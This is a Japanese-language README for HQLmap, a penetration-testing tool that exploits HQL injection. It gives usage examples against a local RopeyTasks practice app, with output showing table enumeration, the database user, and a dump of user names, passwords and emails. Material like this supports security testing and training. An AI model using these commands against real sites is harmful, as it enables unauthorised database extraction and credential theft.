
(非推奨) HQLmap、HQLインジェクションを悪用する自動ツール
このプロジェクトはHQLインジェクションを悪用するために作成されました。 このツールはPythonで書かれており、MITライセンスの下で公開されています。 将来の開発: SQLmap用の専用モジュールを開発する予定があります。
ツールを試すための高速な脆弱性環境が必要な場合は、RopeyTasksを使うことをお勧めします: https://github.com/continuumsecurity/RopeyTasks/
さらに、HQLiに関する詳細情報が必要な場合は、このブログ記事を確認してください: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html
このプロジェクトをインストールするには、次のように入力してこのプロジェクトをクローンするだけです:
git clone [email protected]:PaulSec/HQLmap.git
このプロジェクトを使用するには、ディレクトリに移動します:
cd HQLmap
そして、プロジェクトを起動します:
python HQLmap.py
使用方法は次のように表示されます:
Usage: HQLmap.py [options]
Options:
-h, --help show this help message and exit
--url=URL qURL to pentest
--cookie=COOKIE Cookie to test it
--param=PARAM Param to test
--postdata=POSTDATA Postdata (POST Method)
--message=BLIND_HQLI_MESSAGE
Message appearing while Blind HQLi
--tables Tries to gather as much tables as possible (With
Bruteforce)
--T=TABLE Name of the table you want to get
--table_name_file=FILE_TABLE
DB file for name of tables
--columns Tries to gather as much columns as possible (With
Bruteforce)
--C=COLUMN Name of the column you want to get
--column_name_file=FILE_COLUMN
DB file for name of columns
--check Check if host is vulnerable
--user Tries to get user() from dbms
--count Get count of specified table(s)
--dump Dump specified table(s) / column(s)
--results Enumerate results after session
--verbose Verbose mode
この部分にはさまざまなシナリオが含まれています。
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check
出力は非常にシンプルです:
Host seems vulnerable.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables
出力は次のとおりです:
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
このような列挙を実行する場合、スキャナーはテーブル名が指定されていなければ、テーブル名のデフォルトファイルを使用します。 デフォルトファイルは: db/tables.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
このような列挙を実行する場合、スキャナーはテーブル名とカラム名の両方にデフォルトファイルを使用します。 デフォルトファイルは次のとおりです:
テーブルの場合: db/tables.db カラムの場合: db/columns.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo
そして、出力:
[-] Table foo does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns
そして、出力:
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar
そして、出力:
[!] Table User has been found.
[-] Column bar in User does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count
または全テーブルの場合:
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count
そして、出力:
[!] Table User has been found.
[!] Count(*) of User : 3
この操作を行うには、テーブルを指定し(--tablesフラグで全テーブルを指定することもできます)、次のように--userフラグを追加する必要があります:
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user
そして、出力(数秒後):
[!] Table User has been found.
[!] Username of Database found : SA
ユーザーを取得するために、私は「変数」二分法に非常に似たアルゴリズムを実装しました。
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump
そして、出力:
(redacted)
[Task]
[Name]
- Bob's shopping
- Alice's shopping
[Task]
[User_Id]
- 1
- 2
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
(redacted)
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump
そして、出力:
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
[User]
[Password]
- password
- password
- password
[User]
[Email]
- [email protected]
- [email protected]
- [email protected]
[User]
[Firstname]
- Robert
- Alice
- Administrator
[User]
[Lastname]
- McBride
- O'Reilly
- Reynolds
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump
そして、出力:
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
[username]
- bob
- alice
- admin
フィードバックや新機能のリクエストはお気軽にどうぞ。
このプロジェクトはMITライセンスの下で公開されています。